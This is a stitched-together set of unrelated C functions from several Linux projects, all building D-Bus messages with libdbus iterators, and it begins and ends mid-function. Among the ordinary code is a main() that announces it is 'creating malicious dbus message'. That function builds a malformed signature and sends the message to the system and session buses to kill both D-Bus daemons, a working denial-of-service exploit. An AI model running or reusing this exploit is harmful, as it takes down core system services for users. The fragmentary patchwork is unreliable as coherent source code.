goto finish;
}
if (!dbus_message_iter_close_container(&iter, &sub) ||
!dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY, "s", &sub)) {
log_oom();
goto finish;
}
STRV_FOREACH(t, l_set)
if (!dbus_message_iter_append_basic(&sub, DBUS_TYPE_STRING, t)) {
log_oom();
goto finish;
}
if (!dbus_message_iter_close_container(&iter, &sub)) {
log_oom();
goto finish;
}
reply = dbus_connection_send_with_reply_and_block(bus, m, -1, &error);
if (!reply) {
log_error("Failed to set locale information: %s", bus_error_message(&error));
goto finish;
}
finish:
if (m)
dbus_message_unref(m);
if (reply)
dbus_message_unref(reply);
dbus_error_free(&error);
strv_free(l_set);
free(l_unset);
}
bool dp_pack_pam_response(DBusMessage *msg, struct pam_data *pd)
{
dbus_bool_t dbret;
struct response_data *resp;
DBusMessageIter iter;
DBusMessageIter array_iter;
DBusMessageIter struct_iter;
DBusMessageIter data_iter;
uint32_t pam_status;
uint32_t resp_type;
dbus_message_iter_init_append(msg, &iter);
/* Append the PAM status */
pam_status = pd->pam_status;
dbret = dbus_message_iter_append_basic(&iter,
DBUS_TYPE_UINT32, &pam_status);
if (!dbret) {
return false;
}
/* Append the lockout of account */
dbret = dbus_message_iter_append_basic(&iter,
DBUS_TYPE_UINT32,
&pd->account_locked);
if (!dbret) {
return false;
}
/* Create an array of response structures */
dbret = dbus_message_iter_open_container(&iter,
DBUS_TYPE_ARRAY, "(uay)",
&array_iter);
if (!dbret) {
return false;
}
resp = pd->resp_list;
while (resp != NULL) {
/* Create a DBUS struct */
dbret = dbus_message_iter_open_container(&array_iter,
DBUS_TYPE_STRUCT, NULL,
&struct_iter);
if (!dbret) {
return false;
}
/* Add the response type */
resp_type = resp->type;
dbret = dbus_message_iter_append_basic(&struct_iter,
DBUS_TYPE_UINT32,
&resp_type);
if (!dbret) {
return false;
}
/* Add the response message */
dbret = dbus_message_iter_open_container(&struct_iter,
DBUS_TYPE_ARRAY, "y",
&data_iter);
if (!dbret) {
return false;
}
dbret = dbus_message_iter_append_fixed_array(&data_iter,
DBUS_TYPE_BYTE, &(resp->data), resp->len);
if (!dbret) {
return false;
}
dbret = dbus_message_iter_close_container(&struct_iter, &data_iter);
if (!dbret) {
return false;
}
resp = resp->next;
dbret = dbus_message_iter_close_container(&array_iter, &struct_iter);
if (!dbret) {
return false;
}
}
/* Close the struct array */
dbret = dbus_message_iter_close_container(&iter, &array_iter);
if (!dbret) {
return false;
}
return true;
}
/* For a synchronous 'op', returns FALSE if 'op' fails */
gboolean
upstart_job_exec(svc_action_t * op, gboolean synchronous)
{
char *job = NULL;
int arg_wait = TRUE;
const char *arg_env = "pacemaker=1";
const char *action = op->action;
DBusError error;
DBusMessage *msg = NULL;
DBusMessage *reply = NULL;
DBusMessageIter iter, array_iter;
op->rc = PCMK_OCF_UNKNOWN_ERROR;
CRM_ASSERT(upstart_init());
if (safe_str_eq(op->action, "meta-data")) {
op->stdout_data = upstart_job_metadata(op->agent);
op->rc = PCMK_OCF_OK;
goto cleanup;
}
if(!upstart_job_by_name(op->agent, &job, op->timeout)) {
crm_debug("Could not obtain job named '%s' to %s", op->agent, action);
if (!g_strcmp0(action, "stop")) {
op->rc = PCMK_OCF_OK;
} else {
op->rc = PCMK_OCF_NOT_INSTALLED;
op->status = PCMK_LRM_OP_NOT_INSTALLED;
}
goto cleanup;
}
if (safe_str_eq(op->action, "monitor") || safe_str_eq(action, "status")) {
char *path = get_first_instance(job, op->timeout);
op->rc = PCMK_OCF_NOT_RUNNING;
if(path) {
DBusPendingCall *pending = NULL;
char *state = pcmk_dbus_get_property(
upstart_proxy, BUS_NAME, path, UPSTART_06_API ".Instance", "state",
op->synchronous?NULL:upstart_job_check, op,
op->synchronous?NULL:&pending, op->timeout);
free(job);
free(path);
if(op->synchronous) {
upstart_job_check("state", state, op);
free(state);
return op->rc == PCMK_OCF_OK;
} else if (pending) {
services_set_op_pending(op, pending);
services_add_inflight_op(op);
return TRUE;
}
return FALSE;
}
goto cleanup;
} else if (!g_strcmp0(action, "start")) {
action = "Start";
} else if (!g_strcmp0(action, "stop")) {
action = "Stop";
} else if (!g_strcmp0(action, "restart")) {
action = "Restart";
} else {
op->rc = PCMK_OCF_UNIMPLEMENT_FEATURE;
goto cleanup;
}
crm_debug("Calling %s for %s on %s", action, op->rsc, job);
msg = dbus_message_new_method_call(BUS_NAME, // target for the method call
job, // object to call on
UPSTART_JOB_IFACE, // interface to call on
action); // method name
CRM_ASSERT(msg != NULL);
dbus_message_iter_init_append (msg, &iter);
CRM_LOG_ASSERT(dbus_message_iter_open_container (&iter,
DBUS_TYPE_ARRAY,
DBUS_TYPE_STRING_AS_STRING,
&array_iter));
CRM_LOG_ASSERT(dbus_message_iter_append_basic (&array_iter, DBUS_TYPE_STRING, &arg_env));
CRM_LOG_ASSERT(dbus_message_iter_close_container (&iter, &array_iter));
CRM_LOG_ASSERT(dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &arg_wait, DBUS_TYPE_INVALID));
if (op->synchronous == FALSE) {
DBusPendingCall* pending = pcmk_dbus_send(msg, upstart_proxy, upstart_async_dispatch, op, op->timeout);
free(job);
if(pending) {
services_set_op_pending(op, pending);
services_add_inflight_op(op);
return TRUE;
}
return FALSE;
}
dbus_error_init(&error);
reply = pcmk_dbus_send_recv(msg, upstart_proxy, &error, op->timeout);
if (dbus_error_is_set(&error)) {
if(!upstart_mask_error(op, error.name)) {
crm_err("Could not issue %s for %s: %s (%s)",
action, op->rsc, error.message, job);
}
dbus_error_free(&error);
} else if (!g_strcmp0(op->action, "stop")) {
/* No return vaue */
op->rc = PCMK_OCF_OK;
} else if(!pcmk_dbus_type_check(reply, NULL, DBUS_TYPE_OBJECT_PATH, __FUNCTION__, __LINE__)) {
crm_warn("Call to %s passed but return type was unexpected", op->action);
op->rc = PCMK_OCF_OK;
} else {
const char *path = NULL;
dbus_message_get_args (reply, NULL,
DBUS_TYPE_OBJECT_PATH, &path,
DBUS_TYPE_INVALID);
crm_info("Call to %s passed: %s", op->action, path);
op->rc = PCMK_OCF_OK;
}
cleanup:
free(job);
if(msg) {
dbus_message_unref(msg);
}
if(reply) {
dbus_message_unref(reply);
}
if (op->synchronous == FALSE) {
return operation_finalize(op);
}
return op->rc == PCMK_OCF_OK;
}
int bridge_request_dbus_params_element(bridge_request_t *self,
struct json_object *element,
DBusSignatureIter *sigIt,
DBusMessageIter *it)
{
int type;
int ret = 0;
type = dbus_signature_iter_get_current_type(sigIt);
if (dbus_type_is_basic(type)) {
if ((ret = bridge_request_dbus_params_basic(self,
element, type, it)) != 0) {
return ret;
}
}
else if (type == DBUS_TYPE_VARIANT) {
struct json_object *tmp;
DBusMessageIter args;
const char *vSig;
if (json_object_get_type(element) != json_type_array) {
bridge_request_error(self,
"array expected.");
return EINVAL;
}
tmp = json_object_array_get_idx(element, 0);
if (!tmp) {
bridge_request_error(self,
"variant signature expected.");
return EINVAL;
}
if (json_object_get_type(tmp) != json_type_string) {
bridge_request_error(self,
"variant signature expected.");
return EINVAL;
}
vSig = json_object_get_string(tmp);
if (!dbus_signature_validate_single(vSig, 0)) {
bridge_request_error(self,
"invalid variant signature.");
return EINVAL;
}
dbus_message_iter_open_container(it, type,
vSig, &args);
ret = bridge_request_dbus_params_array(self,
element, 1, vSig, &args);
dbus_message_iter_close_container(it, &args);
if (ret != 0)
return EINVAL;
}
else if (type == DBUS_TYPE_STRUCT) {
DBusMessageIter args;
DBusSignatureIter sigArgs;
if (json_object_get_type(element) != json_type_array) {
bridge_request_error(self, "array expected.");
return EINVAL;
}
dbus_signature_iter_recurse(sigIt, &sigArgs);
dbus_message_iter_open_container(it,
type, NULL, &args);
ret = bridge_request_dbus_params_struct(self,
element, &sigArgs, &args);
dbus_message_iter_close_container(it, &args);
if (ret != 0)
return EINVAL;
}
else if (type == DBUS_TYPE_ARRAY) {
DBusMessageIter args;
DBusSignatureIter sigArgs;
int cType;
char *cSig;
dbus_signature_iter_recurse(sigIt, &sigArgs);
cType = dbus_signature_iter_get_current_type(&sigArgs);
cSig = dbus_signature_iter_get_signature(&sigArgs);
dbus_message_iter_open_container(it, type, cSig, &args);
dbus_free(cSig);
if (cType == DBUS_TYPE_DICT_ENTRY) {
ret = bridge_request_dbus_params_dict(self,
element, &sigArgs, &args);
}
else {
int i, len;
if (json_object_get_type(element) != json_type_array) {
bridge_request_error(self,
"array expected.");
ret = EINVAL;
}
else {
len = json_object_array_length(element);
for (i = 0; i < len; ++i) {
struct json_object *tmp;
DBusSignatureIter tmpSigArgs = sigArgs;
tmp = json_object_array_get_idx(element, i);
if (!tmp) {
bridge_request_error(self,
"unexpected 'null' element in json array.");
return EINVAL;
}
ret = bridge_request_dbus_params_element(self,
tmp, &tmpSigArgs, &args);
}
}
}
dbus_message_iter_close_container(it, &args);
}
else {
bridge_request_error(self,
"unsupported json argument type.");
return EINVAL;
}
return ret;
}
void call_name(DBusConnection* conn, char* service_name ){
DBusError error;
DBusMessage* msg;
DBusMessageIter args;
DBusMessageIter contain_args;
DBusMessageIter dict_args;
DBusMessageIter var_args;
DBusPendingCall* pending;
dbus_uint32_t result;
dbus_error_init(&error);
char* param = "calling you with something in the param";
char* param_list[2] = { "stuff 1", "stuff 2" };
dbus_uint16_t number = 16;
char array_type[2];
char ele_type[5];
char* target = service_name ; // target for the method call;
char* object = "/com/avengergear/PushServer/Proxy/TypeTest"; // started with root ....
// we need to some how create a dynamic linked list of object -> method mapping table to displace for call
//char* interface = DBUS_INTERFACE_INTROSPECTABLE ;
//char* interface = "org.freedesktop.DBus.Introspectable";
char* interface = "com.avengergear.PushServer.Proxy.Interface";
//char* name = "RemoteName"; // name of the method
char* method = "TypeTest";
if( !dbus_bus_start_service_by_name( conn, service_name, 0, &result, &error)){
fprintf(stderr, "Can't start service %s\n", error.message);
exit(1);
} else {
// we can start looping all the methods and interface in the object tree
msg = dbus_message_new_method_call( target, object, interface, method );
if( NULL == msg ) {
fprintf(stderr, "Reply Null\n");
exit(1);
} else {
// send message and get a handle for a reply
// append arguments
dbus_message_iter_init_append(msg, &args);
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_STRING, ¶m)) {
fprintf(stderr, "String Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "Send string\n");
if (!dbus_message_iter_append_basic(&args, DBUS_TYPE_UINT16, &number)) {
fprintf(stderr, "UINT16 Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "Send uint16\n");
array_type[0]='s';
array_type[1]='\0';
if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, array_type, &contain_args)) {
fprintf(stderr, "OpenContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "OpenContainer \n");
if (!dbus_message_iter_append_basic(&contain_args, DBUS_TYPE_STRING, ¶m_list[0])) {
fprintf(stderr, "Arrary String is Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "Sending a string\n");
if (!dbus_message_iter_append_basic(&contain_args, DBUS_TYPE_STRING, ¶m_list[1])) {
fprintf(stderr, "Arrary String is Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "Sending a string\n");
if (!dbus_message_iter_close_container(&args, &contain_args)) {
fprintf(stderr, "CloseContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "CloseContainer\n");
ele_type[0]=DBUS_DICT_ENTRY_BEGIN_CHAR;
ele_type[1]='s';
ele_type[2]='v';
ele_type[3]=DBUS_DICT_ENTRY_END_CHAR;
ele_type[4]='\0';
if (!dbus_message_iter_open_container(&args, DBUS_TYPE_ARRAY, ele_type, &contain_args)) {
fprintf(stderr, "OpenContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "OpenContainer Array\n");
if (!dbus_message_iter_open_container(&contain_args, DBUS_TYPE_DICT_ENTRY, NULL, &dict_args)) {
fprintf(stderr, "OpenContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "OpenContainer Array Dict\n");
if (!dbus_message_iter_append_basic(&dict_args, DBUS_TYPE_STRING, ¶m)) {
fprintf(stderr, "Arrary Dict String is Out Of Memory!\n");
exit(1);
}
array_type[0]='q';
array_type[1]='\0';
if (!dbus_message_iter_open_container(&dict_args, DBUS_TYPE_VARIANT, array_type , &var_args)) {
fprintf(stderr, "OpenContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "OpenContainer Array Dict Var\n");
if (!dbus_message_iter_append_basic(&var_args, DBUS_TYPE_UINT16, &number)) {
fprintf(stderr, "Array Dict UNIT16 String is Out Of Memory!\n");
exit(1);
}
if (!dbus_message_iter_close_container(&dict_args, &var_args)) {
fprintf(stderr, "CloseContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "CloseContainer Array Dict\n");
if (!dbus_message_iter_close_container(&contain_args, &dict_args)) {
fprintf(stderr, "CloseContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "CloseContainer Array\n");
if (!dbus_message_iter_close_container(&args, &contain_args)) {
fprintf(stderr, "CloseContainer Out Of Memory!\n");
exit(1);
}
fprintf(stderr, "CloseContainer\n");
if (!dbus_connection_send_with_reply (conn, msg, &pending, -1)) { // -1 is default timeout
fprintf(stderr, "Out Of Memory!\n");
exit(1);
}
if (NULL == pending) {
fprintf(stderr, "Pending Call Null\n");
exit(1);
} else {
dbus_connection_flush(conn);
// free message
dbus_message_unref(msg);
method_callback(pending);
}
}
}
}
int
main(int argc, char *argv[])
{
char sig[8];
uint32_t val = 0xdeadbeef;
DBusMessage *message;
DBusConnection *system, *session;
DBusMessageIter iter1, iter2, iter3, iter4;
printf("[+] creating malicious dbus message...\n");
message = dbus_message_new_signal(PATH, NAME, SIGNAL);
if (!message) {
printf("[-] error: could not create dbus message\n");
return 1;
}
if (!dbus_message_set_destination(message, DEST)) {
printf("[-] error: could not create set dbus destination\n");
return 1;
}
sig[0] = DBUS_DICT_ENTRY_BEGIN_CHAR;
sig[1] = DBUS_STRUCT_BEGIN_CHAR;
sig[2] = DBUS_TYPE_INT32;
sig[3] = DBUS_TYPE_INT32;
sig[4] = DBUS_STRUCT_END_CHAR;
sig[5] = DBUS_TYPE_INT32;
sig[6] = DBUS_DICT_ENTRY_END_CHAR;
sig[7] = '\0';
dbus_message_iter_init_append(message, &iter1);
dbus_message_iter_open_container(&iter1, DBUS_TYPE_ARRAY, sig, &iter2);
dbus_message_iter_open_container(&iter2, DBUS_TYPE_DICT_ENTRY, NULL, &iter3);
dbus_message_iter_open_container(&iter3, DBUS_TYPE_STRUCT, NULL, &iter4);
dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter3, &iter4);
dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter2, &iter3);
dbus_message_iter_close_container(&iter1, &iter2);
printf("[+] connecting to dbus system daemon...\n");
system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);
if (system) {
printf("[+] killing dbus system daemon...\n");
dbus_connection_send(system, message, NULL);
dbus_connection_flush(system);
dbus_connection_unref(system);
} else {
printf("[-] error: could not connect to dbus system daemon\n");
}
printf("[+] connecting to dbus session daemon...\n");
session = dbus_bus_get(DBUS_BUS_SESSION, NULL);
if (session) {
printf("[+] killing dbus session daemon...\n");
dbus_connection_send(session, message, NULL);
dbus_connection_flush(session);
dbus_connection_unref(session);
} else {
printf("[-] error: could not connect to dbus session daemon\n");
}
dbus_message_unref(message);
return 0;
}
DBusHandlerResult
my_com_netsplit_Nih_Test_Method_method (NihDBusObject * object,
NihDBusMessage *message)
{
DBusMessageIter iter;
DBusMessage * reply;
MyMethodStructure *structure;
DBusMessageIter structure_iter;
const char * structure_item0;
uint32_t structure_item1;
nih_assert (object != NULL);
nih_assert (message != NULL);
/* Iterate the arguments to the message and demarshal into arguments
* for our own function call.
*/
dbus_message_iter_init (message->message, &iter);
if (dbus_message_iter_get_arg_type (&iter) != DBUS_TYPE_INVALID) {
reply = dbus_message_new_error (message->message, DBUS_ERROR_INVALID_ARGS,
"Invalid arguments to Method method");
if (! reply)
return DBUS_HANDLER_RESULT_NEED_MEMORY;
if (! dbus_connection_send (message->connection, reply, NULL)) {
dbus_message_unref (reply);
return DBUS_HANDLER_RESULT_NEED_MEMORY;
}
dbus_message_unref (reply);
return DBUS_HANDLER_RESULT_HANDLED;
}
/* Call the handler function */
nih_error_push_context ();
if (my_method (object->data, message, &structure) < 0) {
NihError *err;
err = nih_error_get ();
if (err->number == ENOMEM) {
nih_free (err);
nih_error_pop_context ();
return DBUS_HANDLER_RESULT_NEED_MEMORY;
} else if (err->number == NIH_DBUS_ERROR) {
NihDBusError *dbus_err = (NihDBusError *)err;
reply = NIH_MUST (dbus_message_new_error (message->message, dbus_err->name, err->message));
nih_free (err);
nih_error_pop_context ();
NIH_MUST (dbus_connection_send (message->connection, reply, NULL));
dbus_message_unref (reply);
return DBUS_HANDLER_RESULT_HANDLED;
} else {
reply = NIH_MUST (dbus_message_new_error (message->message, DBUS_ERROR_FAILED, err->message));
nih_free (err);
nih_error_pop_context ();
NIH_MUST (dbus_connection_send (message->connection, reply, NULL));
dbus_message_unref (reply);
return DBUS_HANDLER_RESULT_HANDLED;
}
}
nih_error_pop_context ();
/* If the sender doesn't care about a reply, don't bother wasting
* effort constructing and sending one.
*/
if (dbus_message_get_no_reply (message->message))
return DBUS_HANDLER_RESULT_HANDLED;
do {
__label__ enomem;
/* Construct the reply message. */
reply = dbus_message_new_method_return (message->message);
if (! reply)
goto enomem;
dbus_message_iter_init_append (reply, &iter);
/* Marshal a structure onto the message */
if (! dbus_message_iter_open_container (&iter, DBUS_TYPE_STRUCT, NULL, &structure_iter)) {
dbus_message_unref (reply);
reply = NULL;
goto enomem;
}
structure_item0 = structure->item0;
/* Marshal a char * onto the message */
if (! dbus_message_iter_append_basic (&structure_iter, DBUS_TYPE_STRING, &structure_item0)) {
dbus_message_iter_abandon_container (&iter, &structure_iter);
dbus_message_unref (reply);
reply = NULL;
goto enomem;
}
structure_item1 = structure->item1;
/* Marshal a uint32_t onto the message */
if (! dbus_message_iter_append_basic (&structure_iter, DBUS_TYPE_UINT32, &structure_item1)) {
dbus_message_iter_abandon_container (&iter, &structure_iter);
dbus_message_unref (reply);
reply = NULL;
goto enomem;
}
if (! dbus_message_iter_close_container (&iter, &structure_iter)) {
dbus_message_unref (reply);
reply = NULL;
goto enomem;
}
enomem: __attribute__ ((unused));
} while (! reply);
/* Send the reply, appending it to the outgoing queue. */
NIH_MUST (dbus_connection_send (message->connection, reply, NULL));
dbus_message_unref (reply);
return DBUS_HANDLER_RESULT_HANDLED;
}
int ep_register (DBusConnection *c, const char *name, const char **capabilities)
{
DBusMessage *msg = NULL, *reply;
int success = 0;
char polrule[512];
DBusError err;
DBusMessageIter message_iter,
array_iter;
connection = c;
/* first, let's do a filter */
snprintf(polrule, sizeof(polrule), "type='signal',interface='%s',"
"path='%s/%s'", POLICY_DBUS_INTERFACE, POLICY_DBUS_PATH, POLICY_DECISION);
dbus_error_init(&err);
if (!dbus_connection_add_filter(connection, filter, NULL, NULL)) {
goto failed;
}
dbus_bus_add_match(connection, polrule, &err);
if (dbus_error_is_set(&err)) {
dbus_error_free(&err);
goto failed;
}
/* then register to the policy engine */
msg = dbus_message_new_method_call(POLICY_DBUS_NAME,
POLICY_DBUS_PATH,
POLICY_DBUS_INTERFACE,
"register");
if (msg == NULL) {
goto failed;
}
dbus_message_iter_init_append(msg, &message_iter);
if (!dbus_message_iter_append_basic(&message_iter, DBUS_TYPE_STRING, &name))
goto failed;
if (!dbus_message_iter_open_container(&message_iter, DBUS_TYPE_ARRAY,
"s", &array_iter))
goto failed;
while (*capabilities != NULL) {
if (!dbus_message_iter_append_basic(&array_iter, DBUS_TYPE_STRING, &(*capabilities)))
goto failed;
capabilities++;
}
dbus_message_iter_close_container(&message_iter, &array_iter);
reply = dbus_connection_send_with_reply_and_block(connection, msg, -1, NULL);
if (!reply || dbus_message_get_type (reply) == DBUS_MESSAGE_TYPE_ERROR) {
goto failed;
}
success = 1;
/* intentional fallthrough */
failed:
if (msg)
dbus_message_unref(msg);
return success;
}
static ssize_t synce_read(void *object, void *buf, size_t count, uint8_t *hi)
{
struct synce_context *context = object;
DBusConnection *conn;
char transport[36], transport_description[24];
const char *session;
DBusMessage *msg;
DBusMessageIter iter, dict;
gboolean authenticate;
DBusPendingCall *call;
if (context->buffer) {
*hi = OBEX_HDR_BODY;
return string_read(context->buffer, buf, count);
}
conn = obex_dbus_get_connection();
if (conn == NULL)
return -EPERM;
msg = dbus_message_new_method_call(SYNCE_BUS_NAME, SYNCE_PATH,
SYNCE_SERVER_INTERFACE, "Connect");
if (!msg)
return -EPERM;
dbus_message_iter_init_append(msg, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_STRING_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict);
append_dict_entry(&dict, "id", DBUS_TYPE_STRING, context->id);
snprintf(transport, sizeof(transport), "%s.obexd",
OPENOBEX_SERVICE);
append_dict_entry(&dict, "transport", DBUS_TYPE_STRING, transport);
snprintf(transport_description, sizeof(transport_description),
"version %s", VERSION);
append_dict_entry(&dict, "transport_description", DBUS_TYPE_STRING,
transport_description);
dbus_message_iter_close_container(&iter, &dict);
authenticate = FALSE;
session = "";
dbus_message_append_args(msg, DBUS_TYPE_BOOLEAN, &authenticate,
DBUS_TYPE_STRING, &session, DBUS_TYPE_INVALID);
if (!dbus_connection_send_with_reply(conn, msg, &call, -1)) {
error("D-Bus call to %s failed.", SYNCE_SERVER_INTERFACE);
dbus_message_unref(msg);
return -EPERM;
}
dbus_pending_call_set_notify(call, connect_cb, context, NULL);
dbus_pending_call_unref(call);
dbus_message_unref(msg);
return -EAGAIN;
}
VIR_MOCK_WRAP_RET_ARGS(dbus_connection_send_with_reply_and_block,
DBusMessage *,
DBusConnection *, connection,
DBusMessage *, message,
int, timeout_milliseconds,
DBusError *, error)
{
DBusMessage *reply = NULL;
const char *service = dbus_message_get_destination(message);
const char *member = dbus_message_get_member(message);
VIR_MOCK_REAL_INIT(dbus_connection_send_with_reply_and_block);
if (STREQ(service, "org.freedesktop.machine1")) {
if (getenv("FAIL_BAD_SERVICE")) {
dbus_set_error_const(error,
"org.freedesktop.systemd.badthing",
"Something went wrong creating the machine");
} else {
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
}
} else if (STREQ(service, "org.freedesktop.login1")) {
char *supported = getenv("RESULT_SUPPORT");
DBusMessageIter iter;
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
dbus_message_iter_init_append(reply, &iter);
if (!dbus_message_iter_append_basic(&iter,
DBUS_TYPE_STRING,
&supported))
goto error;
} else if (STREQ(service, "org.freedesktop.DBus") &&
STREQ(member, "ListActivatableNames")) {
const char *svc1 = "org.foo.bar.wizz";
const char *svc2 = "org.freedesktop.machine1";
const char *svc3 = "org.freedesktop.login1";
DBusMessageIter iter;
DBusMessageIter sub;
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
"s", &sub);
if (!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc1))
goto error;
if (!getenv("FAIL_NO_SERVICE") &&
!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc2))
goto error;
if (!getenv("FAIL_NO_SERVICE") &&
!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc3))
goto error;
dbus_message_iter_close_container(&iter, &sub);
} else if (STREQ(service, "org.freedesktop.DBus") &&
STREQ(member, "ListNames")) {
const char *svc1 = "org.foo.bar.wizz";
const char *svc2 = "org.freedesktop.systemd1";
const char *svc3 = "org.freedesktop.login1";
DBusMessageIter iter;
DBusMessageIter sub;
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
dbus_message_iter_init_append(reply, &iter);
dbus_message_iter_open_container(&iter, DBUS_TYPE_ARRAY,
"s", &sub);
if (!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc1))
goto error;
if ((!getenv("FAIL_NO_SERVICE") && !getenv("FAIL_NOT_REGISTERED")) &&
!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc2))
goto error;
if ((!getenv("FAIL_NO_SERVICE") && !getenv("FAIL_NOT_REGISTERED")) &&
!dbus_message_iter_append_basic(&sub,
DBUS_TYPE_STRING,
&svc3))
goto error;
dbus_message_iter_close_container(&iter, &sub);
} else {
reply = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_RETURN);
}
return reply;
error:
dbus_message_unref(reply);
return NULL;
}
static int set_network(struct supplicant_task *task,
const unsigned char *network, int len,
const char *address, const char *security,
const char *passphrase)
{
DBusMessage *message, *reply;
DBusMessageIter array, dict;
DBusError error;
dbus_uint32_t scan_ssid = 1;
_DBG_SUPPLICANT("task %p", task);
if (task->netpath == NULL)
return -EINVAL;
message = dbus_message_new_method_call(SUPPLICANT_NAME, task->netpath,
SUPPLICANT_INTF ".Network", "set");
if (message == NULL)
return -ENOMEM;
dbus_message_set_auto_start(message, FALSE);
dbus_message_iter_init_append(message, &array);
dbus_message_iter_open_container(&array, DBUS_TYPE_ARRAY,
DBUS_DICT_ENTRY_BEGIN_CHAR_AS_STRING
DBUS_TYPE_STRING_AS_STRING DBUS_TYPE_VARIANT_AS_STRING
DBUS_DICT_ENTRY_END_CHAR_AS_STRING, &dict);
connman_dbus_dict_append_variant(&dict, "scan_ssid",
DBUS_TYPE_UINT32, &scan_ssid);
connman_dbus_dict_append_array(&dict, "ssid",
DBUS_TYPE_BYTE, &network, len);
/* NB: do not set the bssid; this allows wpa_supplicant to roam */
if (g_ascii_strcasecmp(security, "wpa") == 0 ||
g_ascii_strcasecmp(security, "rsn") == 0) {
const char *key_mgmt = "WPA-PSK";
connman_dbus_dict_append_variant(&dict, "key_mgmt",
DBUS_TYPE_STRING, &key_mgmt);
if (passphrase && strlen(passphrase) > 0)
connman_dbus_dict_append_variant(&dict, "psk",
DBUS_TYPE_STRING, &passphrase);
} else if (g_ascii_strcasecmp(security, "wep") == 0) {
const char *key_mgmt = "NONE";
const char *auth_alg = "OPEN";
const char *key_index = "0";
if (task->mac80211 == TRUE)
auth_alg = "OPEN SHARED";
connman_dbus_dict_append_variant(&dict, "auth_alg",
DBUS_TYPE_STRING, &auth_alg);
connman_dbus_dict_append_variant(&dict, "key_mgmt",
DBUS_TYPE_STRING, &key_mgmt);
if (passphrase) {
int size = strlen(passphrase);
if (size == 10 || size == 26) {
unsigned char *key = malloc(13);
char tmp[3];
int i;
memset(tmp, 0, sizeof(tmp));
if (key == NULL)
size = 0;
for (i = 0; i < size / 2; i++) {
memcpy(tmp, passphrase + (i * 2), 2);
key[i] = (unsigned char) strtol(tmp,
NULL, 16);
}
connman_dbus_dict_append_array(&dict,
"wep_key0", DBUS_TYPE_BYTE,
&key, size / 2);
free(key);
} else
connman_dbus_dict_append_variant(&dict,
"wep_key0", DBUS_TYPE_STRING,
&passphrase);
connman_dbus_dict_append_variant(&dict, "wep_tx_keyidx",
DBUS_TYPE_STRING, &key_index);
}
} else {
const char *key_mgmt = "NONE";
connman_dbus_dict_append_variant(&dict, "key_mgmt",
DBUS_TYPE_STRING, &key_mgmt);
}
dbus_message_iter_close_container(&array, &dict);
dbus_error_init(&error);
reply = dbus_connection_send_with_reply_and_block(connection,
message, -1, &error);
if (reply == NULL) {
if (dbus_error_is_set(&error) == TRUE) {
connman_error("%s", error.message);
dbus_error_free(&error);
} else
connman_error("Failed to set network options");
dbus_message_unref(message);
return -EIO;
}
dbus_message_unref(message);
dbus_message_unref(reply);
return 0;
}
static dbus_bool_t
ck_connector_open_session_with_parameters_valist (CkConnector *connector,
DBusError *error,
const char *first_parameter_name,
va_list var_args)
{
DBusError local_error;
DBusMessage *message;
DBusMessage *reply;
DBusMessageIter iter;
DBusMessageIter iter_array;
dbus_bool_t ret;
char *cookie;
const char *name;
_ck_return_val_if_fail (connector != NULL, FALSE);
reply = NULL;
message = NULL;
ret = FALSE;
dbus_error_init (&local_error);
connector->connection = dbus_bus_get_private (DBUS_BUS_SYSTEM, &local_error);
if (connector->connection == NULL) {
if (dbus_error_is_set (&local_error)) {
dbus_set_error (error,
CK_CONNECTOR_ERROR,
"Unable to open session: %s",
local_error.message);
dbus_error_free (&local_error);
}
goto out;
}
dbus_connection_set_exit_on_disconnect (connector->connection, FALSE);
message = dbus_message_new_method_call ("org.freedesktop.ConsoleKit",
"/org/freedesktop/ConsoleKit/Manager",
"org.freedesktop.ConsoleKit.Manager",
"OpenSessionWithParameters");
if (message == NULL) {
goto out;
}
dbus_message_iter_init_append (message, &iter);
if (! dbus_message_iter_open_container (&iter,
DBUS_TYPE_ARRAY,
"(sv)",
&iter_array)) {
goto out;
}
name = first_parameter_name;
while (name != NULL) {
int type;
const void *value;
dbus_bool_t res;
type = lookup_parameter_type (name);
value = va_arg (var_args, const void *);
if (type == DBUS_TYPE_INVALID) {
dbus_set_error (error,
CK_CONNECTOR_ERROR,
"Unknown parameter: %s",
name);
goto out;
}
res = add_param_basic (&iter_array, name, type, value);
if (! res) {
dbus_set_error (error,
CK_CONNECTOR_ERROR,
"Error adding parameter: %s",
name);
goto out;
}
name = va_arg (var_args, char *);
}
if (! dbus_message_iter_close_container (&iter, &iter_array)) {
goto out;
}
